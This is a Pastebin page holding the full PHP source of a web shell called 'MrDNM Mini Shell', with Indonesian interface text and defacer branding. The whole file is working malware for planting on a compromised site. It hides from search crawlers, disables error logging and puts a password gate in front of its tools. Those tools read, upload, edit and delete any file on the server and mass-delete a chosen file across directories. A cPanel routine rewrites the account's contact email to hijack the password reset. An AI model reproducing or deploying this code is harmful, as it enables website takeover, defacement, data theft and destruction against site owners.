Advertisement
Guest User

Untitled

a guest
Oct 19th, 2019
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.11 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @clearstatcache();
  6. @ini_set('error_log',NULL);
  7. @ini_set('log_errors',0);
  8. @ini_set('max_execution_time',0);
  9. @ini_set('output_buffering',0);
  10. @ini_set('display_errors', 0);
  11.  
  12. $auth_pass = "0d678c5ee46c81933e196d0a830f321b"; // ALMAS
  13. $color = "#00ff00";
  14. $default_action = 'FilesMan';
  15. $default_use_ajax = true;
  16. $default_charset = 'UTF-8';
  17. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  18. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  19. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  20. header('HTTP/1.0 404 Not Found');
  21. exit;
  22. }
  23. }
  24.  
  25. function login_shell() {
  26. ?>
  27. <!DOCTYPE html>
  28. <html>
  29. <title>MrDNM Mini Shell</title>
  30. <head>
  31. <meta name="viewport" content="widht=device-widht, initial-scale=1.0"/>
  32. <meta name="author" content="root@404NotFound"/>
  33. <meta name="copyright" content="Hackers"/>
  34. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
  35. <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"/>
  36. </head>
  37. <body class="bg-dark text-light">
  38. <center>
  39. <br/>
  40. <img src="https://www.upload.ee/image/10522978/1569278858706.png" width="300"><hr/><br/>
  41. <div class="container">
  42. <div class="col-lg-6">
  43. <div class="form-group">
  44. <h5>Defacer Tersakiti</h5>
  45. <br/>
  46. <form method="post">
  47. <input type="password" name="pass" placeholder="Mau Ngapain Lu Cok !" class="form-control"><br/>
  48. <input type="submit" class="btn btn-danger btn-block" class="form-control" value="Login">
  49. </form>
  50. </div>
  51. </div><br/>
  52. </div>
  53. </center>
  54. </body>
  55. </html>
  56. <?php
  57. exit;
  58. }
  59. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  60. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  61. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  62. else
  63. login_shell();
  64. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  65. @ob_clean();
  66. $file = $_GET['file'];
  67. header('Content-Description: File Transfer');
  68. header('Content-Type: application/octet-stream');
  69. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  70. header('Expires: 0');
  71. header('Cache-Control: must-revalidate');
  72. header('Pragma: public');
  73. header('Content-Length: ' . filesize($file));
  74. readfile($file);
  75. exit;
  76. }
  77. ?>
  78.  
  79. <!DOCTYPE html>
  80. <html lang="en">
  81.  
  82. <head>
  83. <meta charset="utf-8">
  84. <meta name="viewport" content="width=device-width, initial-scale=0.75, shrink-to-fit=no">
  85.  
  86. <!-- Bootstrap CSS -->
  87. <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
  88. <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css" integrity="sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr" crossorigin="anonymous"/>
  89. <!-- Custom styles for this template -->
  90. <style>
  91. body {
  92. overflow-x: hidden;
  93. }
  94. .ico {width:20px;}
  95. .ico2{width:20px;}
  96. #sidebar-wrapper {
  97. min-height: 100vh;
  98. margin-left: -15rem;
  99. -webkit-transition: margin .25s ease-out;
  100. -moz-transition: margin .25s ease-out;
  101. -o-transition: margin .25s ease-out;
  102. transition: margin .25s ease-out;
  103. }
  104.  
  105. #sidebar-wrapper .sidebar-heading {
  106. padding: 0.875rem 1.25rem;
  107. font-size: 1.2rem;
  108. }
  109.  
  110. #sidebar-wrapper .list-group {
  111. width: 15rem;
  112. }
  113.  
  114. #page-content-wrapper {
  115. min-width: 100vw;
  116. }
  117.  
  118. #wrapper.toggled #sidebar-wrapper {
  119. margin-left: 0;
  120. }
  121.  
  122. @media (min-width: 768px) {
  123. #sidebar-wrapper {
  124. margin-left: 0;
  125. }
  126.  
  127. #page-content-wrapper {
  128. min-width: 0;
  129. width: 100%;
  130. }
  131.  
  132. #wrapper.toggled #sidebar-wrapper {
  133. margin-left: -15rem;
  134. }
  135. }
  136. </style>
  137. </head>
  138. <body>
  139.  
  140.  
  141. <!-- /#sidebar-wrapper -->
  142.  
  143. <!-- Page Content -->
  144. <div id="page-content-wrapper">
  145.  
  146. <nav class="navbar navbar-expand-lg navbar-light bg-light border-bottom">
  147. <button class="btn btn-primary" id="menu-toggle"><i class="fas fa-tools"></i></button>
  148.  
  149. <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
  150. <span class="navbar-toggler-icon"></span>
  151. </button>
  152.  
  153. <div class="collapse navbar-collapse" id="navbarSupportedContent">
  154. <ul class="navbar-nav ml-auto mt-2 mt-lg-0">
  155. <li class="nav-item active">
  156. <a class="nav-link" href="?">Home <span class="sr-only">(current)</span></a>
  157. </li>
  158. <li class="nav-item">
  159.  
  160. <?php
  161. if(isset($_GET['path'])){
  162. $path = $_GET['path'];
  163. }else{
  164. $path = getcwd();
  165. }
  166. $path = str_replace('\\','/',$path);
  167. $paths = explode('/',$path);
  168.  
  169. foreach( $paths as $id => $pat ){
  170. if( $pat == '' && $id == 0 ){
  171. $a = true;
  172. echo 'Current Dir => <a href="?path=/">/</a>';
  173. continue;
  174. }
  175. if( $pat == '' ) continue;
  176. echo '<a href="?path=';
  177. for( $i = 0; $i <= $id; $i++){
  178. echo "$paths[$i]";
  179. if( $i != $id ) echo "/";
  180. }
  181. echo '">'.$pat.'</a>/';
  182. }
  183. ?>
  184.  
  185. </li>
  186. <li class="nav-item dropdown">
  187. <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
  188. Informasi & Upload
  189. </a>
  190. <div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDropdown">
  191. <a class="dropdown-item" href="?info">Info Server</a>
  192. <div class="dropdown-divider"></div>
  193. <center>
  194. <form method="post" enctype="multipart/form-data">
  195. <input type="file" name="file"><input type="submit" name="upload" value="Upload">
  196. </form>
  197. </center>
  198. </div>
  199. </li>
  200. </ul>
  201. </div>
  202. </nav>
  203. <div class="d-flex" id="wrapper">
  204. <!-- Sidebar -->
  205. <div class="bg-light border-right" id="sidebar-wrapper">
  206. <div class="sidebar-heading"><i class="fas fa-tachometer-alt"></i><a href="?" class="text-dark"> Home</a></div>
  207. <div class="list-group list-group-flush">
  208. <?php
  209. echo "<a href='?path=$path&aksi=buatfolder' class='list-group-item list-group-item-action bg-light'><i class='fas fa-folder-open'></i> Buat Folder</a>
  210. <a href='?path=$path&aksi=buatfile' class='list-group-item list-group-item-action bg-light'><i class='fas fa-file'></i> Buat File</a>
  211. <a href='?path=$path&aksi=CpanelReset' class='list-group-item list-group-item-action bg-light'><i class='fa fa-key'></i> Auto Reset Password Cpanel</a>
  212. <a href='?path=$path&aksi=UbahPass' class='list-group-item list-group-item-action bg-light'><i class='fa fa-trash'></i> Mass Dellete</a>";
  213. ?>
  214. <a href='?keluar=true' class='list-group-item list-group-item-action bg-light'><i class='fas fa-sign-out-alt'></i> Logout</a>
  215.  
  216. </div>
  217. </div>
  218. <div class="container-fluid">
  219.  
  220.  
  221. <?php
  222. if($_GET["keluar"] == true){
  223. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  224. echo "<script>window.location='?';</script>";
  225. }
  226. if($_GET["aksi"] == 'UbahPass'){
  227. function hapus_massal($path,$namafile) {
  228. if(is_writable($path)) {
  229. $dira = scandir($path);
  230. foreach($dira as $dirb) {
  231. $dirc = "$path/$dirb";
  232. $lokasi = $dirc.'/'.$namafile;
  233. if($dirb === '.') {
  234. if(file_exists("$path/$namafile")) {
  235. unlink("$path/$namafile");
  236. }
  237. } elseif($dirb === '..') {
  238. if(file_exists("".dirname($path)."/$namafile")) {
  239. unlink("".dirname($path)."/$namafile");
  240. }
  241. } else {
  242. if(is_dir($dirc)) {
  243. if(is_writable($dirc)) {
  244. if($lokasi) {
  245. echo "$lokasi > Terhapus\n";
  246. unlink($lokasi);
  247. $massdel = hapus_massal($dirc,$namafile);
  248. }
  249. }
  250. }
  251. }
  252. }
  253. }
  254. }
  255.  
  256. if($_POST['start']) {
  257. echo "<textarea class='form-control' rows='8' disabled='disabled'>";
  258. hapus_massal($_POST['d_dir'], $_POST['d_file']);
  259. echo "</textarea><a href='?dir=$path' class='btn btn-info btn-block mt-3'>Kembali</a>";
  260. } else {
  261. echo "<form method='post'>
  262. <p><i class='fa fa-folder'></i> Lokasi</p>
  263. <input type='text' name='d_dir' value='$path' class='form-control'><br>
  264. <p><i class ='fa fa-file'></i> Nama File</p>
  265. <input type='text' name='d_file' placeholder='index.php' class='form-control'><br>
  266. <input type='submit' name='start' value='Hapus' class='btn btn-danger form-control'>
  267. </form>";
  268. }
  269. }
  270. elseif ($_GET['aksi'] == 'CpanelReset') {
  271. echo '<br/><p class="text-center"><i class="fa fa-key"></i> Auto Reset Password Cpanel</p><hr>
  272. <form method="POST">
  273. <div class="form-group">
  274. <li class="ml-1 mb-2">Your Email</li>
  275. <input type="email" name="email" class="form-control" placeholder="Masukan Email..."/><br/>
  276. <input type="submit" name="submit" class="btn btn-danger btn-block" value="Send"/>
  277. </div>
  278. </form>';
  279.  
  280. if(isset($_POST['submit'])){
  281. $user = get_current_user();
  282. $site = $_SERVER['HTTP_HOST'];
  283. $ips = getenv('REMOTE_ADDR');
  284. $email = $_POST['email'];
  285. $wr = 'email:'.$email;
  286. $f = fopen('/home/'.$user.'/.cpanel/contactinfo', 'w');
  287. fwrite($f, $wr);
  288. fclose($f);
  289. $f = fopen('/home/'.$user.'/.contactinfo', 'w');
  290. fwrite($f, $wr);
  291. fclose($f);
  292. $parm = $site.':2082/resetpass?start=1';
  293. echo '<br/>Url: '.$parm.'';
  294. echo '<br/>Username: '.$user.'';
  295. echo '<br/>Success Reset To: '.$email.'<br/><br/>';
  296. }
  297. }
  298. elseif($_GET['aksi'] == 'buatfolder'){
  299. function hai(){
  300. echo "<script>window.location='?path=".$path."'; alert('Folder Sukses Dibuat!')</script>";
  301. }
  302. if(isset($_POST["folderss"])){
  303. $nama_folder = $path.'/'.$_POST["namaF"];
  304. mkdir($nama_folder,hai());
  305. }
  306.  
  307. echo '<br/><p class="text-center"><i class="fas fa-folder-open"></i> Buat Folder</p>
  308. <hr><div class="row mt-3">
  309. <div class="col">
  310. <form method="post">
  311. <input type="text" name="namaF" class="form-control mb-3" placeholder="Nama Folder">
  312. </div>
  313. <div class="col">
  314. <input type="submit" class="btn btn-outline-primary btn-block" value="Buat" name="folderss"></form>
  315. </div>
  316. </div>';
  317. }elseif($_GET["aksi"] == 'buatfile'){
  318. if(isset($_POST["buat"])){
  319. $namaF = $path.'/'.$_POST["nama_file"];
  320. $isi = $_POST["isi"];
  321. $buat = fopen($namaF,"w");
  322. fwrite($buat,$isi);
  323. fclose($buat);
  324. if($buat == TRUE){
  325. echo "<script>window.location='?path=".$path."'; alert('Sukses')</script>";
  326. }else{
  327. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  328. }
  329. }
  330. echo '<br/><p class="text-center"><i class="fas fa-file"></i> Buat File</p>
  331. <hr>
  332. <form method="post" class="mt-3">
  333. <li class="ml-1 mb-2">Nama File</li>
  334. <input type="text" class="form-control mb-3" placeholder="Nama File" name="nama_file">
  335. <li class="ml-1 mb-2">Isi File</li>
  336. <textarea class="form-control mb-3" rows="8" name="isi" placeholder="Isi File"></textarea>
  337. <input type="submit" name="buat" class="btn btn-outline-primary" value="Buat">';
  338. }else
  339.  
  340. // Informasi Server
  341.  
  342. if(isset($_GET["info"])){
  343. echo '
  344. <div class="alert alert-success mt-3">
  345. <h3 class="text-center">Informasi Server</h3><hr>
  346. <li>Nama Server : '.$_SERVER["SERVER_NAME"].'</li>
  347. <li>Ip Address : '.$_SERVER["SERVER_ADDR"].'</li>
  348. <li>Port : '.$_SERVER["SERVER_PORT"].'</li>
  349. <li>Protokol : '.$_SERVER["SERVER_PROTOCOL"].'</li>
  350. <li>Save Data : '.$_SERVER["HTTP_SAVE_DATA"].'</li>
  351. <li>Koneksi : '.$_SERVER["HTTP_CONNECTION"].'</li>
  352.  
  353. <li>Software : '.$_SERVER["SERVER_SOFTWARE"].'</li>
  354. <li>Dokumen Root : '.$_SERVER["DOCUMENT_ROOT"].'</li>
  355. <li>G-Interface : '.$_SERVER["GATEWAY_INTERFACE"].'</li>
  356. <li>R-Method : '.$_SERVER["REQUEST_METHOD"].'</li>
  357. <li>Your Browser : '.$_SERVER["HTTP_USER_AGENT"].'</li>
  358. </div>';
  359. }else if(isset($_FILES['file'])){
  360. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  361. echo "<script>window.location='?path=".$path."'; alert('Berhasil Upload')</script>";
  362. }else{
  363. echo "<script>alert('Gagal Upload')</script>";
  364. }
  365. }else if(isset($_GET['filesrc'])){
  366. echo "<tr><td>Current File : ";
  367. echo $_GET['filesrc'];
  368. echo '</tr></td></table><br />';
  369. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  370. }else if(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  371. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  372. if($_POST['opt'] == 'chmod'){
  373. if(isset($_POST['perm'])){
  374. if(chmod($_POST['path'],$_POST['perm'])){
  375. echo "<script>window.location='?path=".$path."'; alert('Sukses')</script>";
  376. }else{
  377. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  378. }
  379. }
  380. echo '<form method="POST">
  381. <div class="row">
  382. <div class="col">
  383. <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" class="form-control">
  384. </div>
  385. <input type="hidden" name="path" value="'.$_POST['path'].'">
  386. <input type="hidden" name="opt" value="chmod">
  387. <div class="col">
  388. <input type="submit" value="Go" class="btn btn-outline-primary btn-block">
  389. </div>
  390. </div>
  391. </form>';
  392. }else if($_POST['opt'] == 'rename'){
  393. if(isset($_POST['newname'])){
  394. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  395. echo "<script>window.location='?path=".$path."'; alert('Nama Telah Diubah!')</script>";
  396. }else{
  397. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  398. }
  399. $_POST['name'] = $_POST['newname'];
  400. }
  401. echo '<form method="POST">
  402. <div class="row">
  403. <div class="col">
  404. <input name="newname" type="text" size="20" value="'.$_POST['name'].'" class="form-control" placeholder="Nama Baru">
  405. </div>
  406. <input type="hidden" name="path" value="'.$_POST['path'].'">
  407. <input type="hidden" name="opt" value="rename">
  408. <div class="col">
  409. <input type="submit" value="Go" class="btn btn-outline-primary btn-block">
  410. </div>
  411. </div>
  412. </form>';
  413. }else if($_POST['opt'] == 'edit'){
  414. if(isset($_POST['src'])){
  415. $fp = fopen($_POST['path'],'w');
  416. if(fwrite($fp,$_POST['src'])){
  417. echo "<script>window.location='?path=".$path."'; alert('Berhasil Merubah Isi File')</script>";
  418. }else{
  419. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  420. }
  421. fclose($fp);
  422. }
  423. echo '<form method="POST">
  424. <textarea class="form-control" rows="8" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
  425. <input type="hidden" name="path" value="'.$_POST['path'].'">
  426. <input type="hidden" name="opt" value="edit">
  427. <input type="submit" value="Simpan" class="btn btn-outline-primary btn-block mt-3">
  428. </form>';
  429. }
  430. echo '</center>';
  431. }else{
  432. echo '</table><br/><center>';
  433. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  434. if($_POST['type'] == 'dir'){
  435. if(rmdir($_POST['path'])){
  436. echo "<script>window.location='?path=".$path."'; alert('Sukses Menghapus Folder')</script>";
  437. }else{
  438. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  439. }
  440. }else if($_POST['type'] == 'file'){
  441. if(unlink($_POST['path'])){
  442. echo "<script>window.location='?path=".$path."'; alert('Sukses Menghapus File')</script>";
  443. }else{
  444. echo "<script>window.location='?path=".$path."'; alert('Gagal!!!')</script>";
  445. }
  446. }
  447. }
  448. echo '</center>';
  449. $scandir = scandir($path);
  450. echo '
  451. <div class="table-responsive-lg mt-2">
  452. <table class="table table-hover">
  453. <thead class="bg-warning text-center">
  454. <tr>
  455. <th scope="col">Nama</th>
  456. <th scope="col">Jenis</th>
  457. <th scope="col">Ukuran</th>
  458. <th scope="col">Perizinan</th>
  459. <th scope="col">Pengaturan</th></tr></thead>
  460. ';
  461. foreach($scandir as $dir){
  462. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  463. echo '<tr>
  464. <td scope="col"><img src="http://aux.iconspalace.com/uploads/folder-icon-256-1787672482.png" class="ico"> <a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  465. <td class="text-center">Folder</td>
  466. <td class="text-center">--</td>
  467. <td class="text-center">';
  468. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  469. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  470. echo perms($path.'/'.$dir);
  471. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  472.  
  473. echo '</td>
  474. <td class="text-center"><form method="POST" action="?option&path='.$path.'">
  475. <div class="row">
  476. <div class="col">
  477. <select name="opt" class="custom-select">
  478. <option value="">Select</option>
  479. <option value="delete">Hapus</option>
  480. <option value="chmod">Chmod</option>
  481. <option value="rename">Ganti Nama</option>
  482. </select>
  483. </div>
  484. <input type="hidden" name="type" value="dir">
  485. <input type="hidden" name="name" value="'.$dir.'">
  486. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  487. <div class="col">
  488. <input type="submit" value=">" class="btn btn-outline-primary btn-block">
  489. </div>
  490. </div>
  491. </form></td>
  492. </tr>';
  493. }
  494. foreach($scandir as $file){
  495. if(!is_file($path.'/'.$file)) continue;
  496. $size = filesize($path.'/'.$file)/1024;
  497. $size = round($size,3);
  498. if($size >= 1024){
  499. $size = round($size/1024,2).' MB';
  500. }else{
  501. $size = $size.' KB';
  502. }
  503.  
  504. echo '<tr>
  505. <td><img src="';
  506. $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
  507. if($ext == "php") {
  508. echo 'https://image.flaticon.com/icons/png/128/337/337947.png"';
  509. }elseif ($ext == "html") {
  510. echo 'https://image.flaticon.com/icons/png/128/136/136528.png"';
  511. }elseif ($ext == "css") {
  512. echo 'https://image.flaticon.com/icons/png/128/136/136527.png"';
  513. }elseif ($ext == "png") {
  514. echo 'https://image.flaticon.com/icons/png/128/136/136523.png"';
  515. }elseif ($ext == "jpg") {
  516. echo 'https://image.flaticon.com/icons/png/128/136/136524.png"';
  517. }elseif ($ext == "jpeg") {
  518. echo 'http://i.imgur.com/e8mkvPf.png"';
  519. }elseif($ext == "zip") {
  520. echo 'https://image.flaticon.com/icons/png/128/136/136544.png"';
  521. }elseif ($ext == "js") {
  522. echo 'https://image.flaticon.com/icons/png/128/1126/1126856.png';
  523. }elseif ($ext == "ttf") {
  524. echo 'https://image.flaticon.com/icons/png/128/1126/1126892.png';
  525. }elseif ($ext == "otf") {
  526. echo 'https://image.flaticon.com/icons/png/128/1126/1126891.png';
  527. }elseif ($ext == "txt") {
  528. echo 'https://image.flaticon.com/icons/png/128/136/136538.png';
  529. }elseif ($ext == "ico") {
  530. echo 'https://image.flaticon.com/icons/png/128/1126/1126873.png';
  531. }elseif ($ext == "conf") {
  532. echo 'https://image.flaticon.com/icons/png/512/1573/1573301.png';
  533. }elseif ($ext == "htaccess") {
  534. echo 'https://image.flaticon.com/icons/png/128/1720/1720444.png';
  535. }elseif ($ext == "sh") {
  536. echo 'https://image.flaticon.com/icons/png/128/617/617535.png';
  537. }elseif ($ext == "py") {
  538. echo 'https://image.flaticon.com/icons/png/128/180/180867.png';
  539. }elseif ($ext == "sql") {
  540. echo 'https://img.icons8.com/ultraviolet/2x/data-configuration.png';
  541. }elseif ($ext == "pl") {
  542. echo 'http://i.imgur.com/PnmX8H9.png';
  543. }elseif ($ext == "pdf") {
  544. echo 'https://image.flaticon.com/icons/png/128/136/136522.png';
  545. }elseif ($ext == "mp4") {
  546. echo 'https://image.flaticon.com/icons/png/128/136/136545.png';
  547. }elseif ($ext == "mp3") {
  548. echo 'https://image.flaticon.com/icons/png/128/136/136548.png';
  549. }elseif ($ext == "git") {
  550. echo 'https://image.flaticon.com/icons/png/128/617/617509.png';
  551. }elseif ($ext == "md") {
  552. echo 'https://image.flaticon.com/icons/png/128/617/617520.png';
  553. }else{
  554. echo 'http://icons.iconarchive.com/icons/zhoolego/material/256/Filetype-Docs-icon.png';
  555. }
  556. echo '" class="ico2"> <a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  557. <td class="text-center">File</td>
  558. <td class="text-center">'.$size.'</td>
  559. <td class="text-center">';
  560. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  561. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  562. echo perms($path.'/'.$file);
  563. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  564. echo '</td>
  565. <td class="text-center">
  566. <form method="POST" action="?option&path='.$path.'">
  567. <div class="row">
  568. <div class="col">
  569. <select name="opt" class="custom-select">
  570. <option value="">Select</option>
  571. <option value="delete">Hapus</option>
  572. <option value="chmod">Chmod</option>
  573. <option value="rename">Ganti Nama</option>
  574. <option value="edit">Edit File</option>
  575. </select>
  576. </div>
  577. <input type="hidden" name="type" value="file">
  578. <input type="hidden" name="name" value="'.$file.'">
  579. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  580. <div class="col">
  581. <input type="submit" value="OK" class="btn btn-outline-primary btn-block">
  582. </div>
  583. </div>
  584. </form></td>
  585. </tr>';
  586. }
  587. echo '</table>
  588. </div>';
  589. }
  590. ?>
  591.  
  592.  
  593. </div>
  594. </div>
  595. <!-- /#page-content-wrapper -->
  596. </div>
  597. <!-- /#wrapper -->
  598.  
  599. <!-- Bootstrap core JavaScript -->
  600. <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
  601. <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
  602. <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
  603.  
  604. <!-- Menu Toggle Script -->
  605. <script>
  606. $("#menu-toggle").click(function(e) {
  607. e.preventDefault();
  608. $("#wrapper").toggleClass("toggled");
  609. });
  610. </script>
  611.  
  612. </body>
  613. </html>
  614. <?php
  615. function perms($file){
  616. $perms = fileperms($file);
  617.  
  618. if (($perms & 0xC000) == 0xC000) {
  619. // Socket
  620. $info = 's';
  621. } elseif (($perms & 0xA000) == 0xA000) {
  622. // Symbolic Link
  623. $info = 'l';
  624. } elseif (($perms & 0x8000) == 0x8000) {
  625. // Regular
  626. $info = '-';
  627. } elseif (($perms & 0x6000) == 0x6000) {
  628. // Block special
  629. $info = 'b';
  630. } elseif (($perms & 0x4000) == 0x4000) {
  631. // Directory
  632. $info = 'd';
  633. } elseif (($perms & 0x2000) == 0x2000) {
  634. // Character special
  635. $info = 'c';
  636. } elseif (($perms & 0x1000) == 0x1000) {
  637. // FIFO pipe
  638. $info = 'p';
  639. } else {
  640. // Unknown
  641. $info = 'u';
  642. }
  643.  
  644. // Owner
  645. $info .= (($perms & 0x0100) ? 'r' : '-');
  646. $info .= (($perms & 0x0080) ? 'w' : '-');
  647. $info .= (($perms & 0x0040) ?
  648. (($perms & 0x0800) ? 's' : 'x' ) :
  649. (($perms & 0x0800) ? 'S' : '-'));
  650.  
  651. // Group
  652. $info .= (($perms & 0x0020) ? 'r' : '-');
  653. $info .= (($perms & 0x0010) ? 'w' : '-');
  654. $info .= (($perms & 0x0008) ?
  655. (($perms & 0x0400) ? 's' : 'x' ) :
  656. (($perms & 0x0400) ? 'S' : '-'));
  657.  
  658. // World
  659. $info .= (($perms & 0x0004) ? 'r' : '-');
  660. $info .= (($perms & 0x0002) ? 'w' : '-');
  661. $info .= (($perms & 0x0001) ?
  662. (($perms & 0x0200) ? 't' : 'x' ) :
  663. (($perms & 0x0200) ? 'T' : '-'));
  664.  
  665. return $info;
  666. }
  667. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement